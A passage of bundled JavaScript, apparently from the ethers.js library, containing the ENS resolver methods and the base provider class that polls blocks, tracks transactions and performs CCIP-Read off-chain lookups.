{\n logger16.throwError(\"resolver threw error\", Logger.errors.CALL_EXCEPTION, {\n transaction: tx,\n data: result\n });\n }\n if (parseBytes) {\n result = _parseBytes(result, 0);\n }\n return result;\n } catch (error) {\n if (error.code === Logger.errors.CALL_EXCEPTION) {\n return null;\n }\n throw error;\n }\n });\n }\n _fetchBytes(selector, parameters) {\n return __awaiter6(this, void 0, void 0, function* () {\n const result = yield this._fetch(selector, parameters);\n if (result != null) {\n return _parseBytes(result, 0);\n }\n return null;\n });\n }\n _getAddress(coinType, hexBytes) {\n const coinInfo = coinInfos[String(coinType)];\n if (coinInfo == null) {\n logger16.throwError(`unsupported coin type: ${coinType}`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: `getAddress(${coinType})`\n });\n }\n if (coinInfo.ilk === \"eth\") {\n return this.provider.formatter.address(hexBytes);\n }\n const bytes = arrayify(hexBytes);\n if (coinInfo.p2pkh != null) {\n const p2pkh = hexBytes.match(/^0x76a9([0-9a-f][0-9a-f])([0-9a-f]*)88ac$/);\n if (p2pkh) {\n const length = parseInt(p2pkh[1], 16);\n if (p2pkh[2].length === length * 2 && length >= 1 && length <= 75) {\n return base58Encode(concat([[coinInfo.p2pkh], \"0x\" + p2pkh[2]]));\n }\n }\n }\n if (coinInfo.p2sh != null) {\n const p2sh = hexBytes.match(/^0xa9([0-9a-f][0-9a-f])([0-9a-f]*)87$/);\n if (p2sh) {\n const length = parseInt(p2sh[1], 16);\n if (p2sh[2].length === length * 2 && length >= 1 && length <= 75) {\n return base58Encode(concat([[coinInfo.p2sh], \"0x\" + p2sh[2]]));\n }\n }\n }\n if (coinInfo.prefix != null) {\n const length = bytes[1];\n let version17 = bytes[0];\n if (version17 === 0) {\n if (length !== 20 && length !== 32) {\n version17 = -1;\n }\n } else {\n version17 = -1;\n }\n if (version17 >= 0 && bytes.length === 2 + length && length >= 1 && length <= 75) {\n const words = import_bech32.default.toWords(bytes.slice(2));\n words.unshift(version17);\n return import_bech32.default.encode(coinInfo.prefix, words);\n }\n }\n return null;\n }\n getAddress(coinType) {\n return __awaiter6(this, void 0, void 0, function* () {\n if (coinType == null) {\n coinType = 60;\n }\n if (coinType === 60) {\n try {\n const result = yield this._fetch(\"0x3b3b57de\");\n if (result === \"0x\" || result === HashZero) {\n return null;\n }\n return this.provider.formatter.callAddress(result);\n } catch (error) {\n if (error.code === Logger.errors.CALL_EXCEPTION) {\n return null;\n }\n throw error;\n }\n }\n const hexBytes = yield this._fetchBytes(\"0xf1cb7e06\", bytes32ify(coinType));\n if (hexBytes == null || hexBytes === \"0x\") {\n return null;\n }\n const address = this._getAddress(coinType, hexBytes);\n if (address == null) {\n logger16.throwError(`invalid or unsupported coin data`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: `getAddress(${coinType})`,\n coinType,\n data: hexBytes\n });\n }\n return address;\n });\n }\n getAvatar() {\n return __awaiter6(this, void 0, void 0, function* () {\n const linkage = [{ type: \"name\", content: this.name }];\n try {\n const avatar = yield this.getText(\"avatar\");\n if (avatar == null) {\n return null;\n }\n for (let i = 0; i < matchers.length; i++) {\n const match = avatar.match(matchers[i]);\n if (match == null) {\n continue;\n }\n const scheme = match[1].toLowerCase();\n switch (scheme) {\n case \"https\":\n linkage.push({ type: \"url\", content: avatar });\n return { linkage, url: avatar };\n case \"data\":\n linkage.push({ type: \"data\", content: avatar });\n return { linkage, url: avatar };\n case \"ipfs\":\n linkage.push({ type: \"ipfs\", content: avatar });\n return { linkage, url: getIpfsLink(avatar) };\n case \"erc721\":\n case \"erc1155\": {\n const selector = scheme === \"erc721\" ? \"0xc87b56dd\" : \"0x0e89341c\";\n linkage.push({ type: scheme, content: avatar });\n const owner = this._resolvedAddress || (yield this.getAddress());\n const comps = (match[2] || \"\").split(\"/\");\n if (comps.length !== 2) {\n return null;\n }\n const addr = yield this.provider.formatter.address(comps[0]);\n const tokenId = hexZeroPad(BigNumber.from(comps[1]).toHexString(), 32);\n if (scheme === \"erc721\") {\n const tokenOwner = this.provider.formatter.callAddress(yield this.provider.call({\n to: addr,\n data: hexConcat([\"0x6352211e\", tokenId])\n }));\n if (owner !== tokenOwner) {\n return null;\n }\n linkage.push({ type: \"owner\", content: tokenOwner });\n } else if (scheme === \"erc1155\") {\n const balance = BigNumber.from(yield this.provider.call({\n to: addr,\n data: hexConcat([\"0x00fdd58e\", hexZeroPad(owner, 32), tokenId])\n }));\n if (balance.isZero()) {\n return null;\n }\n linkage.push({ type: \"balance\", content: balance.toString() });\n }\n const tx = {\n to: this.provider.formatter.address(comps[0]),\n data: hexConcat([selector, tokenId])\n };\n let metadataUrl = _parseString(yield this.provider.call(tx), 0);\n if (metadataUrl == null) {\n return null;\n }\n linkage.push({ type: \"metadata-url-base\", content: metadataUrl });\n if (scheme === \"erc1155\") {\n metadataUrl = metadataUrl.replace(\"{id}\", tokenId.substring(2));\n linkage.push({ type: \"metadata-url-expanded\", content: metadataUrl });\n }\n if (metadataUrl.match(/^ipfs:/i)) {\n metadataUrl = getIpfsLink(metadataUrl);\n }\n linkage.push({ type: \"metadata-url\", content: metadataUrl });\n const metadata = yield fetchJson(metadataUrl);\n if (!metadata) {\n return null;\n }\n linkage.push({ type: \"metadata\", content: JSON.stringify(metadata) });\n let imageUrl = metadata.image;\n if (typeof imageUrl !== \"string\") {\n return null;\n }\n if (imageUrl.match(/^(https:\\/\\/|data:)/i)) {\n } else {\n const ipfs = imageUrl.match(matcherIpfs);\n if (ipfs == null) {\n return null;\n }\n linkage.push({ type: \"url-ipfs\", content: imageUrl });\n imageUrl = getIpfsLink(imageUrl);\n }\n linkage.push({ type: \"url\", content: imageUrl });\n return { linkage, url: imageUrl };\n }\n }\n }\n } catch (error) {\n }\n return null;\n });\n }\n getContentHash() {\n return __awaiter6(this, void 0, void 0, function* () {\n const hexBytes = yield this._fetchBytes(\"0xbc1c58d1\");\n if (hexBytes == null || hexBytes === \"0x\") {\n return null;\n }\n const ipfs = hexBytes.match(/^0xe3010170(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/);\n if (ipfs) {\n const length = parseInt(ipfs[3], 16);\n if (ipfs[4].length === length * 2) {\n return \"ipfs://\" + Base58.encode(\"0x\" + ipfs[1]);\n }\n }\n const ipns = hexBytes.match(/^0xe5010172(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/);\n if (ipns) {\n const length = parseInt(ipns[3], 16);\n if (ipns[4].length === length * 2) {\n return \"ipns://\" + Base58.encode(\"0x\" + ipns[1]);\n }\n }\n const swarm = hexBytes.match(/^0xe40101fa011b20([0-9a-f]*)$/);\n if (swarm) {\n if (swarm[1].length === 32 * 2) {\n return \"bzz://\" + swarm[1];\n }\n }\n const skynet = hexBytes.match(/^0x90b2c605([0-9a-f]*)$/);\n if (skynet) {\n if (skynet[1].length === 34 * 2) {\n const urlSafe = { \"=\": \"\", \"+\": \"-\", \"/\": \"_\" };\n const hash3 = encode(\"0x\" + skynet[1]).replace(/[=+\\/]/g, (a) => urlSafe[a]);\n return \"sia://\" + hash3;\n }\n }\n return logger16.throwError(`invalid or unsupported content hash data`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"getContentHash()\",\n data: hexBytes\n });\n });\n }\n getText(key2) {\n return __awaiter6(this, void 0, void 0, function* () {\n let keyBytes = toUtf8Bytes(key2);\n keyBytes = concat([bytes32ify(64), bytes32ify(keyBytes.length), keyBytes]);\n if (keyBytes.length % 32 !== 0) {\n keyBytes = concat([keyBytes, hexZeroPad(\"0x\", 32 - key2.length % 32)]);\n }\n const hexBytes = yield this._fetchBytes(\"0x59d1d43c\", hexlify(keyBytes));\n if (hexBytes == null || hexBytes === \"0x\") {\n return null;\n }\n return toUtf8String(hexBytes);\n });\n }\n};\nvar defaultFormatter = null;\nvar nextPollId = 1;\nvar BaseProvider = class extends Provider {\n /**\n * ready\n *\n * A Promise that resolves only once the provider is ready.\n *\n * Sub-classes that call the super with a network without a chainId\n * MUST set this. Standard named networks have a known chainId.\n *\n */\n constructor(network) {\n super();\n this._events = [];\n this._emitted = { block: -2 };\n this.disableCcipRead = false;\n this.formatter = new.target.getFormatter();\n defineReadOnly(this, \"anyNetwork\", network === \"any\");\n if (this.anyNetwork) {\n network = this.detectNetwork();\n }\n if (network instanceof Promise) {\n this._networkPromise = network;\n network.catch((error) => {\n });\n this._ready().catch((error) => {\n });\n } else {\n const knownNetwork = getStatic(new.target, \"getNetwork\")(network);\n if (knownNetwork) {\n defineReadOnly(this, \"_network\", knownNetwork);\n this.emit(\"network\", knownNetwork, null);\n } else {\n logger16.throwArgumentError(\"invalid network\", \"network\", network);\n }\n }\n this._maxInternalBlockNumber = -1024;\n this._lastBlockNumber = -2;\n this._maxFilterBlockRange = 10;\n this._pollingInterval = 4e3;\n this._fastQueryDate = 0;\n }\n _ready() {\n return __awaiter6(this, void 0, void 0, function* () {\n if (this._network == null) {\n let network = null;\n if (this._networkPromise) {\n try {\n network = yield this._networkPromise;\n } catch (error) {\n }\n }\n if (network == null) {\n network = yield this.detectNetwork();\n }\n if (!network) {\n logger16.throwError(\"no network detected\", Logger.errors.UNKNOWN_ERROR, {});\n }\n if (this._network == null) {\n if (this.anyNetwork) {\n this._network = network;\n } else {\n defineReadOnly(this, \"_network\", network);\n }\n this.emit(\"network\", network, null);\n }\n }\n return this._network;\n });\n }\n // This will always return the most recently established network.\n // For \"any\", this can change (a \"network\" event is emitted before\n // any change is reflected); otherwise this cannot change\n get ready() {\n return poll(() => {\n return this._ready().then((network) => {\n return network;\n }, (error) => {\n if (error.code === Logger.errors.NETWORK_ERROR && error.event === \"noNetwork\") {\n return void 0;\n }\n throw error;\n });\n });\n }\n // @TODO: Remove this and just create a singleton formatter\n static getFormatter() {\n if (defaultFormatter == null) {\n defaultFormatter = new Formatter();\n }\n return defaultFormatter;\n }\n // @TODO: Remove this and just use getNetwork\n static getNetwork(network) {\n return getNetwork(network == null ? \"homestead\" : network);\n }\n ccipReadFetch(tx, calldata, urls) {\n return __awaiter6(this, void 0, void 0, function* () {\n if (this.disableCcipRead || urls.length === 0) {\n return null;\n }\n const sender = tx.to.toLowerCase();\n const data = calldata.toLowerCase();\n const errorMessages = [];\n for (let i = 0; i < urls.length; i++) {\n const url = urls[i];\n const href = url.replace(\"{sender}\", sender).replace(\"{data}\", data);\n const json = url.indexOf(\"{data}\") >= 0 ? null : JSON.stringify({ data, sender });\n const result = yield fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => {\n value.status = response.statusCode;\n return value;\n });\n if (result.data) {\n return result.data;\n }\n const errorMessage = result.message || \"unknown error\";\n if (result.status >= 400 && result.status < 500) {\n return logger16.throwError(`response not found during CCIP fetch: ${errorMessage}`, Logger.errors.SERVER_ERROR, { url, errorMessage });\n }\n errorMessages.push(errorMessage);\n }\n return logger16.throwError(`error encountered during CCIP fetch: ${errorMessages.map((m) => JSON.stringify(m)).join(\", \")}`, Logger.errors.SERVER_ERROR, {\n urls,\n errorMessages\n });\n });\n }\n // Fetches the blockNumber, but will reuse any result that is less\n // than maxAge old or has been requested since the last request\n _getInternalBlockNumber(maxAge) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this._ready();\n if (maxAge > 0) {\n while (this._internalBlockNumber) {\n const internalBlockNumber = this._internalBlockNumber;\n try {\n const result = yield internalBlockNumber;\n if (getTime() - result.respTime <= maxAge) {\n return result.blockNumber;\n }\n break;\n } catch (error) {\n if (this._internalBlockNumber === internalBlockNumber) {\n break;\n }\n }\n }\n }\n const reqTime = getTime();\n const checkInternalBlockNumber = resolveProperties({\n blockNumber: this.perform(\"getBlockNumber\", {}),\n networkError: this.getNetwork().then((network) => null, (error) => error)\n }).then(({ blockNumber, networkError }) => {\n if (networkError) {\n if (this._internalBlockNumber === checkInternalBlockNumber) {\n this._internalBlockNumber = null;\n }\n throw networkError;\n }\n const respTime = getTime();\n blockNumber = BigNumber.from(blockNumber).toNumber();\n if (blockNumber < this._maxInternalBlockNumber) {\n blockNumber = this._maxInternalBlockNumber;\n }\n this._maxInternalBlockNumber = blockNumber;\n this._setFastBlockNumber(blockNumber);\n return { blockNumber, reqTime, respTime };\n });\n this._internalBlockNumber = checkInternalBlockNumber;\n checkInternalBlockNumber.catch((error) => {\n if (this._internalBlockNumber === checkInternalBlockNumber) {\n this._internalBlockNumber = null;\n }\n });\n return (yield checkInternalBlockNumber).blockNumber;\n });\n }\n poll() {\n return __awaiter6(this, void 0, void 0, function* () {\n const pollId = nextPollId++;\n const runners = [];\n let blockNumber = null;\n try {\n blockNumber = yield this._getInternalBlockNumber(100 + this.pollingInterval / 2);\n } catch (error) {\n this.emit(\"error\", error);\n return;\n }\n this._setFastBlockNumber(blockNumber);\n this.emit(\"poll\", pollId, blockNumber);\n if (blockNumber === this._lastBlockNumber) {\n this.emit(\"didPoll\", pollId);\n return;\n }\n if (this._emitted.block === -2) {\n this._emitted.block = blockNumber - 1;\n }\n if (Math.abs(this._emitted.block - blockNumber) > 1e3) {\n logger16.warn(`network block skew detected; skipping block events (emitted=${this._emitted.block} blockNumber${blockNumber})`);\n this.emit(\"error\", logger16.makeError(\"network block skew detected\", Logger.errors.NETWORK_ERROR, {\n blockNumber,\n event: \"blockSkew\",\n previousBlockNumber: this._emitted.block\n }));\n this.emit(\"block\", blockNumber);\n } else {\n for (let i = this._emitted.block + 1; i <= blockNumber; i++) {\n this.emit(\"block\", i);\n }\n }\n if (this._emitted.block !== blockNumber) {\n this._emitted.block = blockNumber;\n Object.keys(this._emitted).forEach((key2) => {\n if (key2 === \"block\") {\n return;\n }\n const eventBlockNumber = this._emitted[key2];\n if (eventBlockNumber === \"pending\") {\n return;\n }\n if (blockNumber - eventBlockNumber > 12) {\n delete this._emitted[key2];\n }\n });\n }\n if (this._lastBlockNumber === -2) {\n this._lastBlockNumber = blockNumber - 1;\n }\n this._events.forEach((event) => {\n switch (event.type) {\n case \"tx\": {\n const hash3 = event.hash;\n let runner = this.getTransactionReceipt(hash3).then((receipt) => {\n if (!receipt || receipt.blockNumber == null) {\n return null;\n }\n this._emitted[\"t:\" + hash3] = receipt.blockNumber;\n this.emit(hash3, receipt);\n return null;\n }).catch((error) => {\n this.emit(\"error\", error);\n });\n runners.push(runner);\n break;\n }\n case \"filter\": {\n if (!event._inflight) {\n event._inflight = true;\n if (event._lastBlockNumber === -2) {\n event._lastBlockNumber = blockNumber - 1;\n }\n const filter2 = event.filter;\n filter2.fromBlock = event._lastBlockNumber + 1;\n filter2.toBlock = blockNumber;\n const minFromBlock = filter2.toBlock - this._maxFilterBlockRange;\n if (minFromBlock > filter2.fromBlock) {\n filter2.fromBlock = minFromBlock;\n }\n if (filter2.fromBlock < 0) {\n filter2.fromBlock = 0;\n }\n const runner = this.getLogs(filter2).then((logs) => {\n event._inflight = false;\n if (logs.length === 0) {\n return;\n }\n logs.forEach((log) => {\n if (log.blockNumber > event._lastBlockNumber) {\n event._lastBlockNumber = log.blockNumber;\n }\n this._emitted[\"b:\" + log.blockHash] = log.blockNumber;\n this._emitted[\"t:\" + log.transactionHash] = log.blockNumber;\n this.emit(filter2, log);\n });\n }).catch((error) => {\n this.emit(\"error\", error);\n event._inflight = false;\n });\n runners.push(runner);\n }\n break;\n }\n }\n });\n this._lastBlockNumber = blockNumber;\n Promise.all(runners).then(() => {\n this.emit(\"didPoll\", pollId);\n }).catch((error) => {\n this.emit(\"error\", error);\n });\n return;\n });\n }\n // Deprecated; do not use this\n resetEventsBlock(blockNumber) {\n this._lastBlockNumber = blockNumber - 1;\n if (this.polling) {\n this.poll();\n }\n }\n get network() {\n return this._network;\n }\n // This method should query the network if the underlying network\n // can change, such as when connected to a JSON-RPC backend\n detectNetwork() {\n return __awaiter6(this, void 0, void 0, function* () {\n return logger16.throwError(\"provider does not support network detection\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"provider.detectNetwork\"\n });\n });\n }\n getNetwork() {\n return __awaiter6(this, void 0, void 0, function* () {\n const network = yield this._ready();\n const currentNetwork = yield this.detectNetwork();\n if (network.chainId !== currentNetwork.chainId) {\n if (this.anyNetwork) {\n this._network = currentNetwork;\n this._lastBlockNumber = -2;\n this._fastBlockNumber = null;\n this._fastBlockNumberPromise = null;\n this._fastQueryDate = 0;\n this._emitted.block = -2;\n this._maxInternalBlockNumber = -1024;\n this._internalBlockNumber = null;\n this.emit(\"network\", currentNetwork, network);\n yield stall(0);\n return this._network;\n }\n const error = logger16.makeError(\"underlying network changed\", Logger.errors.NETWORK_ERROR, {\n event: \"changed\",\n network,\n detectedNetwork: currentNetwork\n });\n this.emit(\"error\", error);\n throw error;\n }\n return network;\n });\n }\n get blockNumber() {\n this._getInternalBlockNumber(100 + this.pollingInterval / 2).then((blockNumber) => {\n this._setFastBlockNumber(blockNumber);\n }, (error) => {\n });\n return this._fastBlockNumber != null ? this._fastBlockNumber : -1;\n }\n get polling() {\n return this._poller != null;\n }\n set polling(value) {\n if (value && !this._poller) {\n this._poller = setInterval(() => {\n this.poll();\n }, this.pollingInterval);\n if (!this._bootstrapPoll) {\n this._bootstrapPoll = setTimeout(() => {\n this.poll();\n this._bootstrapPoll = setTimeout(() => {\n if (!this._poller) {\n this.poll();\n }\n this._bootstrapPoll = null;\n }, this.pollingInterval);\n }, 0);\n }\n } else if (!value && this._poller) {\n clearInterval(this._poller);\n this._poller = null;\n }\n }\n get pollingInterval() {\n return this._pollingInterval;\n }\n set pollingInterval(value) {\n if (typeof value !== \"number\" || value <= 0 || parseInt(String(value)) != value) {\n throw new Error(\"invalid polling interval\");\n }\n this._pollingInterval = value;\n if (this._poller) {\n clearInterval(this._poller);\n this._poller = setInterval(() => {\n this.poll();\n }, this._pollingInterval);\n }\n }\n _getFastBlockNumber() {\n const now = getTime();\n if (now - this._fastQueryDate > 2 * this._pollingInterval) {\n this._fastQueryDate = now;\n this._fastBlockNumberPromise = this.getBlockNumber().then((blockNumber) => {\n if (this._fastBlockNumber == null || blockNumber > this._fastBlockNumber) {\n this._fastBlockNumber = blockNumber;\n }\n return this._fastBlockNumber;\n });\n }\n return this._fastBlockNumberPromise;\n }\n _setFastBlockNumber(blockNumber) {\n if (this._fastBlockNumber != null && blockNumber < this._fastBlockNumber) {\n return;\n }\n this._fastQueryDate = getTime();\n if (this._fastBlockNumber == null || blockNumber > this._fastBlockNumber) {\n this._fastBlockNumber = blockNumber;\n this._fastBlockNumberPromise = Promise.resolve(blockNumber);\n }\n }\n waitForTransaction(transactionHash, confirmations, timeout) {\n return __awaiter6(this, void 0, void 0, function* () {\n return this._waitForTransaction(transactionHash, confirmations == null ? 1 : confirmations, timeout || 0, null);\n });\n }\n _waitForTransaction(transactionHash, confirmations, timeout, replaceable) {\n return __awaiter6(this, void 0, void 0, function* () {\n const receipt = yield this.getTransactionReceipt(transactionHash);\n if ((receipt ? receipt.confirmations : 0) >= confirmations) {\n return receipt;\n }\n return new Promise((resolve, reject) => {\n const cancelFuncs = [];\n let done = false;\n const alreadyDone = function() {\n if (done) {\n return true;\n }\n done = true;\n cancelFuncs.forEach((func) => {\n func();\n });\n return false;\n };\n const minedHandler = (receipt2) => {\n if (receipt2.confirmations < confirmations) {\n return;\n }\n if (alreadyDone()) {\n return;\n }\n resolve(receipt2);\n };\n this.on(transactionHash, minedHandler);\n cancelFuncs.push(() => {\n this.removeListener(transactionHash, minedHandler);\n });\n if (replaceable) {\n let lastBlockNumber = replaceable.startBlock;\n let scannedBlock = null;\n const replaceHandler = (blockNumber) => __awaiter6(this, void 0, void 0, function* () {\n if (done) {\n return;\n }\n yield stall(1e3);\n this.getTransactionCount(replaceable.from).then((nonce) => __awaiter6(this, void 0, void 0, function* () {\n if (done) {\n return;\n }\n if (nonce <= replaceable.nonce) {\n lastBlockNumber = blockNumber;\n } else {\n {\n const mined = yield this.getTransaction(transactionHash);\n if (mined && mined.blockNumber != null) {\n return;\n }\n }\n if (scannedBlock == null) {\n scannedBlock = lastBlockNumber - 3;\n if (scannedBlock < replaceable.startBlock) {\n scannedBlock = replaceable.startBlock;\n }\n }\n while (scannedBlock <= blockNumber) {\n if (done) {\n return;\n }\n const block = yield this.getBlockWithTransactions(scannedBlock);\n for (let ti = 0; ti < block.transactions.length; ti++) {\n const tx = block.transactions[ti];\n if (tx.hash === transactionHash) {\n return;\n }\n if (tx.from === replaceable.from && tx.nonce === replaceable.nonce) {\n if (done) {\n return;\n }\n const receipt2 = yield this.waitForTransaction(tx.hash, confirmations);\n if (alreadyDone()) {\n return;\n }\n let reason = \"replaced\";\n if (tx.data === replaceable.data && tx.to === replaceable.to && tx.value.eq(replaceable.value)) {\n reason = \"repriced\";\n } else if (tx.data === \"0x\" && tx.from === tx.to && tx.value.isZero()) {\n reason = \"cancelled\";\n }\n reject(logger16.makeError(\"transaction was replaced\", Logger.errors.TRANSACTION_REPLACED, {\n cancelled: reason === \"replaced\" || reason === \"cancelled\",\n reason,\n replacement: this._wrapTransaction(tx),\n hash: transactionHash,\n receipt: receipt2\n }));\n return;\n }\n }\n scannedBlock++;\n }\n }\n if (done) {\n return;\n }\n this.once(\"block\", replaceHandler);\n }), (error) => {\n if (done) {\n return;\n }\n this.once(\"block\", replaceHandler);\n });\n });\n if (done) {\n return;\n }\n this.once(\"block\", replaceHandler);\n cancelFuncs.push(() => {\n this.removeListener(\"block\", replaceHandler);\n });\n }\n if (typeof timeout === \"number\" && timeout > 0) {\n const timer2 = setTimeout(() => {\n if (alreadyDone()) {\n return;\n }\n reject(logger16.makeError(\"timeout exceeded\", Logger.errors.TIMEOUT, { timeout }));\n }, timeout);\n if (timer2.unref) {\n timer2.unref();\n }\n cancelFuncs.push(() => {\n clearTimeout(timer2);\n });\n }\n });\n });\n }\n getBlockNumber() {\n return __awaiter6(this, void 0, void 0, function* () {\n return this._getInternalBlockNumber(0);\n });\n }\n getGasPrice() {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n const result = yield this.perform(\"getGasPrice\", {});\n try {\n return BigNumber.from(result);\n } catch (error) {\n return logger16.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getGasPrice\",\n result,\n error\n });\n }\n });\n }\n getBalance(addressOrName, blockTag) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n const params = yield resolveProperties({\n address: this._getAddress(addressOrName),\n blockTag: this._getBlockTag(blockTag)\n });\n const result = yield this.perform(\"getBalance\", params);\n try {\n return BigNumber.from(result);\n } catch (error) {\n return logger16.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getBalance\",\n params,\n result,\n error\n });\n }\n });\n }\n getTransactionCount(addressOrName, blockTag) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n const params = yield resolveProperties({\n address: this._getAddress(addressOrName),\n blockTag: this._getBlockTag(blockTag)\n });\n const result = yield this.perform(\"getTransactionCount\", params);\n try {\n return BigNumber.from(result).toNumber();\n } catch (error) {\n return logger16.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getTransactionCount\",\n params,\n result,\n error\n });\n }\n });\n }\n getCode(addressOrName, blockTag) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n const params = yield resolveProperties({\n address: this._getAddress(addressOrName),\n blockTag: this._getBlockTag(blockTag)\n });\n const result = yield this.perform(\"getCode\", params);\n try {\n return hexlify(result);\n } catch (error) {\n return logger16.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getCode\",\n params,\n result,\n error\n });\n }\n });\n }\n getStorageAt(addressOrName, position, blockTag) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n const params = yield resolveProperties({\n address: this._getAddress(addressOrName),\n blockTag: this._getBlockTag(blockTag),\n position: Promise.resolve(position).then((p) => hexValue(p))\n });\n const result = yield this.perform(\"getStorageAt\", params);\n try {\n return hexlify(result);\n } catch (error) {\n return logger16.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getStorageAt\",\n params,\n result,\n error\n });\n }\n });\n }\n // This should be called by any subclass wrapping a TransactionResponse\n _wrapTransaction(tx, hash3, startBlock) {\n if (hash3 != null && hexDataLength(hash3) !== 32) {\n throw new Error(\"invalid response - sendTransaction\");\n }\n const result = tx;\n if (hash3 != null && tx.hash !== hash3) {\n logger16.throwError(\"Transaction hash mismatch from Provider.sendTransaction.\", Logger.errors.UNKNOWN_ERROR, { expectedHash: tx.hash, returnedHash: hash3 });\n }\n result.wait = (confirms, timeout) => __awaiter6(this, void 0, void 0, function* () {\n if (confirms == null) {\n confirms = 1;\n }\n if (timeout == null) {\n timeout = 0;\n }\n let replacement = void 0;\n if (confirms !== 0 && startBlock != null) {\n replacement = {\n data: tx.data,\n from: tx.from,\n nonce: tx.nonce,\n to: tx.to,\n value: tx.value,\n startBlock\n };\n }\n const receipt = yield this._waitForTransaction(tx.hash, confirms, timeout, replacement);\n if (receipt == null && confirms === 0) {\n return null;\n }\n this._emitted[\"t:\" + tx.hash] = receipt.blockNumber;\n if (receipt.status === 0) {\n logger16.throwError(\"transaction failed\", Logger.errors.CALL_EXCEPTION, {\n transactionHash: tx.hash,\n transaction: tx,\n receipt\n });\n }\n return receipt;\n });\n return result;\n }\n sendTransaction(signedTransaction) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n const hexTx = yield Promise.resolve(signedTransaction).then((t) => hexlify(t));\n const tx = this.formatter.transaction(signedTransaction);\n if (tx.confirmations == null) {\n tx.confirmations = 0;\n }\n const blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n try {\n const hash3 = yield this.perform(\"sendTransaction\", { signedTransaction: hexTx });\n return this._wrapTransaction(tx, hash3, blockNumber);\n } catch (error) {\n error.transaction = tx;\n error.transactionHash = tx.hash;\n throw error;\n }\n });\n }\n _getTransactionRequest(transaction) {\n return __awaiter6(this, void 0, void 0, function* () {\n const values = yield transaction;\n const tx = {};\n [\"from\", \"to\"].forEach((key2) => {\n if (values[key2] == null) {\n return;\n }\n tx[key2] = Promise.resolve(values[key2]).then((v) => v ? this._getAddress(v) : null);\n });\n [\"gasLimit\", \"gasPrice\", \"maxFeePerGas\", \"maxPriorityFeePerGas\", \"value\"].forEach((key2) => {\n if (values[key2] == null) {\n return;\n }\n tx[key2] = Promise.resolve(values[key2]).then((v) => v ? BigNumber.from(v) : null);\n });\n [\"type\"].forEach((key2) => {\n if (values[key2] == null) {\n return;\n }\n tx[key2] = Promise.resolve(values[key2]).then((v) => v != null ? v : null);\n });\n if (values.accessList) {\n tx.accessList = this.formatter.accessList(values.accessList);\n }\n [\"data\"].forEach((key2) => {\n if (values[key2] == null) {\n return;\n }\n tx[key2] = Promise.resolve(values[key2]).then((v) => v ? hexlify(v) : null);\n });\n return this.formatter.transactionRequest(yield resolveProperties(tx));\n });\n }\n _getFilter(filter2) {\n return __awaiter6(this, void 0, void 0, function* () {\n filter2 = yield filter2;\n const result = {};\n if (filter2.address != null) {\n result.address = this._getAddress(filter2.address);\n }\n [\"blockHash\", \"topics\"].forEach((key2) => {\n if (filter2[key2] == null) {\n return;\n }\n result[key2] = filter2[key2];\n });\n [\"fromBlock\", \"toBlock\"].forEach((key2) => {\n if (filter2[key2] == null) {\n return;\n }\n result[key2] = this._getBlockTag(filter2[key2]);\n });\n return this.formatter.filter(yield resolveProperties(result));\n });\n }\n _call(transaction, blockTag, attempt) {\n return __awaiter6(this, void 0, void 0, function* () {\n if (attempt >= MAX_CCIP_REDIRECTS) {\n logger16.throwError(\"CCIP read exceeded maximum redirections\", Logger.errors.SERVER_ERROR, {\n redirects: attempt,\n transaction\n });\n }\n const txSender = transaction.to;\n const result = yield this.perform(\"call\", { transaction, blockTag });\n if (attempt >= 0 && blockTag === \"latest\" && txSender != null && result.substring(0, 10) === \"0x556f1830\" && hexDataLength(result) % 32 === 4) {\n try {\n const data = hexDataSlice(result, 4);\n const sender = hexDataSlice(data, 0, 32);\n if (!BigNumber.from(sender).eq(txSender)) {\n logger16.throwError(\"CCIP Read sender did not match\", Logger.errors.CALL_EXCEPTION, {\n name: \"OffchainLookup\",\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n transaction,\n data: result\n });\n }\n const urls = [];\n const urlsOffset = BigNumber.from(hexDataSlice(data, 32, 64)).toNumber();\n const urlsLength = BigNumber.from(hexDataSlice(data, urlsOffset, urlsOffset + 32)).toNumber();\n const urlsData = hexDataSlice(data, urlsOffset + 32);\n for (let u = 0; u < urlsLength; u++) {\n const url = _parseString(urlsData, u * 32);\n if (url == null) {\n logger16.throwError(\"CCIP Read contained corrupt URL string\", Logger.errors.CALL_EXCEPTION, {\n name: \"OffchainLookup\",\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n transaction,\n data: result\n });\n }\n urls.push(url);\n }\n const calldata = _parseBytes(data, 64);\n if (!BigNumber.from(hexDataSlice(data, 100, 128)).isZero()) {\n logger16.throwError(\"CCIP Read callback selector included junk\", Logger.errors.CALL_EXCEPTION, {\n name: \"OffchainLookup\",\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n transaction,\n data: result\n });\n }\n const callbackSelector = hexDataSlice(data, 96, 100);\n const extraData = _parseBytes(data, 128);\n const ccipResult = yield this.ccipReadFetch(transaction, calldata, urls);\n if (ccipResult == null) {\n logger16.throwError(\"CCIP Read disabled or provided no URLs\", Logger.errors.CALL_EXCEPTION, {\n name: \"OffchainLookup\",\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n transaction,\n data: result\n });\n }\n const tx = {\n to: txSender,\n data: hexConcat([callbackSelector, 